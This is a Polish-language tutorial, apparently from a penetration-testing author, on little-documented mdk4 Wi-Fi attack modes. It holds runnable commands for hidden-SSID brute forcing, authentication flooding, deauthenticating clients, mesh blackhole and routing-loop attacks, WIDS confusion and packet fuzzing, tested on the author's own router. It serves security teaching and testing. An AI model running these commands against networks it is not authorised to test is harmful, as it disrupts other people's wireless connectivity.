MDK4 – nieopisane funkcje
Spis treści
- 1.1. Pierwsze kroki
- 1.2. Próba zgadnięcia nazwy ukrytej sieci lub jej złamania za pomocą słownika
- 1.3. Próba zalania urządzenia maksymalną liczbą fałszywych zapytań i wylogowania prawidłowych
- 1.4. Testy sieci mesh Obecnie bardzo dużo sieci działa w trybie mesh.
- 1.4.1. Przeciążenie urządzeń nadmierną liczbą pakietów
- 1.4.2. Zanikanie danych
- 1.5. Dezorientacja zabezpieczeń (WIDS)
- 1.6. Sprawdzamy reakcje urządzeń na niepoprawne pakiety
- 1.7. Przeprowadzenie testu bezpieczeństwa za pomocą mdk4
- 1.8. Podsumowanie
W swojej najnowszej książce Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN, w rozdziale 11 sekcji drugiej opisałem najważniejsze funkcje programu mdk4. W praktyce to ich używam najczęściej, jednak postanowiłem skupić się trochę bardziej na pozostałych funkcjach tego oprogramowania. Kto przeczytał moją książkę lub zapoznał się przynajmniej ze wspomnianym rozdziałem, ten wie, że mdk4 jest bardzo dobrym narzędziem, które stosuje się podczas testów sieci bezprzewodowych. Choć – jak wspomniałem w książce – jestem zwolennikiem narzędzi z serii aircrack-ng, to uważam, że warto otwierać się na inne. Tak właśnie jest z mdk4.
W książce opisałem takie opcje jak atak deautoryzacyjny, atak umożliwiający reset urządzenia i wspomniałem o ataku typu beacon flooding. Teraz zajmijmy się resztą.
Testy będę wykonywał za pomocą Kali Linux na routerze Tenda N300, systemu Windows 11 natomiast użyję jako celu. Wszystko wykonane na maszynach wirtualnych uruchomionych za pomocą VirtualBox.
W książce opisałem takie opcje jak atak deautoryzacyjny, atak umożliwiający reset urządzenia i wspomniałem o ataku typu beacon flooding. Teraz zajmijmy się resztą. Testy będę wykonywał za pomocą Kali Linux na routerze Tenda N300, systemu Windows 11 natomiast użyję jako celu. Wszystko wykonane na maszynach wirtualnych uruchomionych za pomocą VirtualBox.
1.1. Pierwsze kroki
Na samym początku musimy określić, jaką sieć chcemy poddać testom. Przy czym pamiętajmy, że wszelkiego rodzaju testy, czy te przedstawione w książce, czy też pokazane w tym artykule, należy wykonywać na sieciach, do których mamy prawo lub których jesteśmy właścicielami. W innym wypadku popełnimy przestępstwo, co podlega karze grzywny lub karze więzienia. Jeśli jesteśmy pewni legalności naszych działań, musimy się przygotować:
1. Uruchomić adapter bezprzewodowy w trybie monitor.
2. Wyszukać sieć, która nas interesuje.
3. Nasłuchiwać tę sieć w celu sprawdzenia, które urządzenia są do niej podłączone. W moim przypadku sieć, którą będę poddawał testom, jest taka:
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
B4:0F:3B:E2:7F:38 -51 4 0 0 7 130 WPA2 CCMP PSK My_Network3
Podłączone do tej sieci urządzenie, które poddam testom, to:
BSSID STATION PWR Rate Lost Frames Notes Probes
B4:0F:3B:E2:7F:38 1C:BF:CE:61:0B:AE -29 1e-24e 639 5
Po przygotowaniu się możemy przejść do przeprowadzenia testów.
1.2. Próba zgadnięcia nazwy ukrytej sieci lub jej złamania za pomocą słownika
Sieciom ukrytym poświęciłem jeden rozdział książki, w którym opisuję najprostszy i najskuteczniejszy sposób wykrycia nazwy SSID ukrytej sieci. Przykład podany powyżej nie dotyczył sieci ukrytej. Otóż, jak można wydedukować, była to standardowa sieć z szyfrowaniem WPA2. Poniżej prezentuję przykład, jak wygląda wynik skanowania, gdy sieć jest tak skonfigurowana, by jej nazwa była ukryta.
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
B4:0F:3B:E2:7F:38 -69 19 5 0 8 130 WPA2 CCMP PSK
Chyba nie powinno nikogo dziwić, że w kolumnie ESSID zniknęła nazwa sieci. Mając tak przygotowaną sieć, przystępujemy do próby jej odkrycia. Możemy to zrobić na kilka sposobów. Kiedy znamy lub przypuszczamy, że tak nazywa się sieć, powinniśmy użyć polecenia:
mdk4 wlan0mon p -e "My_Network3"
AP responded on 0 of 1 probes (0 percent)
Packets sent: 1 - Speed: 1 packets/sec
AP responded on 54 of 255 probes (21 percent)
Packets sent: 256 - Speed: 255 packets/sec
AP responded on 141 of 324 probes (43 percent)
Packets sent: 580 - Speed: 324 packets/sec
AP responded on 161 of 323 probes (49 percent)
Packets sent: 903 - Speed: 323 packets/sec
W tym wypadku mdk4 rozgłasza zapytanie we wszystkich sieciach w pobliżu. U mnie ESSID zostało złamane po pierwszej próbie. Kolejnym przykładem jest użycie słownika z nazwami. Taki test wykonujemy za pomocą polecenia:
mdk4 wlan0mon p -f /usr/share/wordlists/wifite.txt -t B4:0F:3B:E2:7F:38
Działa na podobnej zasadzie jak poprzedni atak, jednak ten jest ukierunkowany bezpośrednio – w moim przypadku – na router. Aby nazwa sieci została wykryta, musi się znajdować na liście. Trzeci atak polega na próbie złamania nazwy sieci, ale bez użycia słownika. Działa on wyłącznie na krótkie nazwy sieci.
mdk4 wlan0mon p -b nuls -t B4:0F:3B:E2:7F:38
Tu wyjaśnień wymaga to, co występuje po opcji -b: n oznacza cyfry (0–9) u oznacza wielkie litery (A–Z) l oznacza małe litery (a–z) s oznacza symbole ASCII Jak widać, w przykładzie użyłem wszystkich z dostępnych opcji. Jeśli jednak wiesz coś więcej na temat użytej nazwy, możesz na przykład pominąć s, czyli symbole, które rzadko się stosuje w nazwach sieci. Choć łamanie ESSID ukrytej sieci za pomocą tego narzędzia może się okazać bardzo fascynujące, jest na to o wiele prostszy sposób, który zaprezentowałem w książce.
1.3. Próba zalania urządzenia maksymalną liczbą fałszywych zapytań i wylogowania prawidłowych
W tym typie testu spróbujemy wysłać do routera ogromną liczbę fałszywych zapytań, aby przeciążyć urządzenie. Możemy to zrobić za pomocą polecenia:
mdk4 wlan0mon e -t B4:0F:3B:E2:7F:38
Jeśli nasłuchujesz testowaną sieć, to zauważysz, że na dolnej liście – tam gdzie znajduje się lista podłączonych urządzeń – pojawia się ich ogromna liczba. Aby przeprowadzić próbę wylogowania zalogowanych klientów, wystarczy dodać na końcu opcję -l (l jak Lucyna), jak w poniższym przykładzie:
mdk4 wlan0mon e -t B4:0F:3B:E2:7F:38 -l
Niemniej należy pamiętać, że oba sposoby działają na starszego typu urządzenia. Na router Tenda N300, który nie należy do najnowszych, nie zadziałał. Można jeszcze kombinować z liczbą wysyłanych pakietów w ciągu sekundy, ale najprawdopodobniej ta metoda też nie przyniesie efektu.
1.4. Testy sieci mesh Obecnie bardzo dużo sieci działa w trybie mesh.
Szczególnie przy dużym metrażu czy też sporej liczbie ścian stosowanie takiej sieci jest bardzo wygodne. Niestety, nie korzystam z niej i obecnie nie jestem w stanie tego zasymulować. Dlatego mogę jedynie opowiedzieć o dostępnych możliwościach tego typu testu. Oprogramowanie mdk4, o czym jeszcze nie wspomniałem, ma dwa rodzaje plików pomocy. Jeden z nich już znasz – wystarczy, że wpiszesz:
mdk4 –help
Pokaże się lista dostępnych opcji ze zwięzłymi opisami – do ogólnego rozeznania wystarczy. Jeśli jednak chcemy się nauczyć korzystać z mdk4, powinniśmy się zapoznać z:
mdk4 –fullhelp
Pojawi się bardzo obszerna lista z dokładnymi opisami, jak również opcjami każdego z omawianych w tym artykule typów ataków. Dla przykładu: oto część z instrukcjami dotyczącymi testów sieci mesh:
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks.
Flood neighbors and routes, create black holes and divert traffic!
-f
Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:
The following modification types are implemented:
1: Replay identical frame until new one arrives (duplicate flooding)
2: Change Source and BSSID (possibly resulting in Neighbor Flooding)
3: Cut packet short, leave 802.11 header intact (find buffer errors)
4: Shotgun mode, randomly overwriting bytes after header (find bugs)
5: Skript-kid's automated attack trying all of the above randomly :)
-b
Create a Blackhole, using the impersonated_meshpoint's MAC address
mdk4 will answer every incoming Route Request with a perfect route over the impersonated node.
-p
Path Request Flooding using the impersonated_meshpoint's address
Adjust the speed switch (-s) for maximum profit!
-l
Just create loops on every route found by modifying Path Replies
-s
Set speed in packets per second (Default: 100)
-n
Target this mesh network
Analizując tę część pomocy, możemy przeprowadzić trzy rodzaje testów.
1.4.1. Przeciążenie urządzeń nadmierną liczbą pakietów
Taki test jesteśmy w stanie przeprowadzić za pomocą polecenia:
mdk4 wlan0mon s -f 5 -n B4:0F:3B:E2:7F:38
Po opcji -f podajemy typ pakietów, którego chcemy użyć. W przypadku liczby 5 korzystamy z wszystkich możliwości.
1.4.2. Zanikanie danych
Okłamujemy urządzenia, że mamy dostęp do wszystkich i jesteśmy centralnym punktem, dlatego otrzymujemy wszystkie informacje, które te urządzenia przekazują – pomiędzy sobą – ale nie przekazujemy ich dalej. Do tego celu służy polecenie:
mdk4 wlan0mon s -b B4:0F:3B:E2:7F:38 -n My_Network3
Po opcji -n nie podajemy ESSID sieci, tylko ID sieci mesh.
1.4.3. Pętla routingu
Tego typu atak polega na zapętleniu danych w sieci pomiędzy kilkoma punktami. W ten sposób nigdy nie docierają one do celu. Aby wykonać taki test, należy użyć polecenia:
mdk4 wlan0mon s -l -n My_Network3
Oczywiście po -n podajemy ID naszej sieci mesh.
1.5. Dezorientacja zabezpieczeń (WIDS)
Teraz chcemy wykonać próbę oszukania WIDS (ang. wireless intrusion detection system), czyli bezprzewodowego systemu wykrywania wtargnięć. Taki system zabezpieczeń nie jest stosowany we wszystkich routerach czy aplikacjach – raczej w bardziej profesjonalnych rozwiązaniach. Router, na którym przeprowadzam testy, nie posiada takiego systemu. Podstawowy test możemy przeprowadzić przy użyciu polecenia:
mdk4 wlan0mon w -e My_Network3
Co ciekawe, za pomocą tego najprostszego sposobu testowania udało się pozbawić zalogowane urządzenie połączenia internetowego. Możemy też sprawić, aby atak skakał pomiędzy kanałami:
mdk4 wlan0mon w -e My_Network3 -c h
Jest to bardzo istotne, jeśli urządzenia działają na wielu kanałach.
1.6. Sprawdzamy reakcje urządzeń na niepoprawne pakiety
Tytuł tego akapitu dokładnie wyjaśnia, co poprzez ten test chcemy sprawdzić. Aby to jednak nie zmyliło naszego toku myślenia – za pomocą tego testu sprawdzamy, czy urządzenia mają podatności i luki bezpieczeństwa. Taki test można wykonać na kilka sposobów. Najprostszym z nich jest:
mdk4 wlan0mon f -s a -m n
Tu należy zdać sobie sprawę, że test nie jest przeprowadzany na konkretnym urządzeniu, tylko sprawdza, które urządzenia zareagują na jego zmodyfikowane pakiety. Pełną listę możliwości znajdziesz po wpisaniu opcji --fullhelp lub poniżej:
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources
and a nice set of modifiers. Be careful!
mdk4 randomly selects the given sources and one or multiple modifiers.
-s
Specify one or more of the following packet sources:
a - Sniff packets from the air
b - Create valid beacon frames with random SSIDs and properties
c - Create CTS frames to broadcast (you can also use this for a CTS DoS)
p - Create broadcast probe requests
-m
Select at least one of the modifiers here:
n - No modifier, do not modify packets
b - Set destination address to broadcast
m - Set source address to broadcast
s - Shotgun: randomly overwrites a couple of bytes
t - append random bytes (creates broken tagged parameters in beacons/probes)
c - Cut packets short, preferably somewhere in headers or tags
d - Insert random values in Duration and Flags fields
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-p
Set speed in packets per second (Default: 250)
1.7. Przeprowadzenie testu bezpieczeństwa za pomocą mdk4
Na mdk4 zainstalowanym z repozytorium Kali Linux nie jesteśmy w stanie przeprowadzić tego skanowania. Aby je wykonać, odinstalujmy tę wersję mdk4:
apt purge mdk4
Następnie zainstalujmy zależności, aby móc korzystać z mdk4z GitHub:
apt install pkg-config libnl-3-dev libnl-genl-3-dev libpcap-dev
Teraz pobieramy paczkę ze wspomnianego GitHuba i przeprowadzamy instalację:
git clone https://github.com/aircrack-ng/mdk4
cd mdk4
make
make install
Po instalacji możemy przeprowadzić testy – aby tego dokonać, należy wprowadzić polecenie:
mdk4 wlan0mon x -T B4:0F:3B:E2:7F:38
1.8. Podsumowanie
Program mdk4 jest ciekawym rozwiązaniem służącym do testów sieci bezprzewodowych i urządzeń. Zawiera dość sporo funkcji. Niemniej warto zaznaczyć, że przed większością użytych tutaj sposobów routery czy też powiązane inne urządzenia są już zabezpieczone. Nadal jednak mdk4 może służyć jako początkowe narzędzie do przeprowadzania testów. Jeśli zainteresował Cię temat testowania bezpieczeństwa sieci, polecam zapoznać się z moją książką Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN. W niej opisuję – dość szczegółowo – przeprowadzanie takich testów z zastosowaniem trochę innego podejścia niż tu opisane.

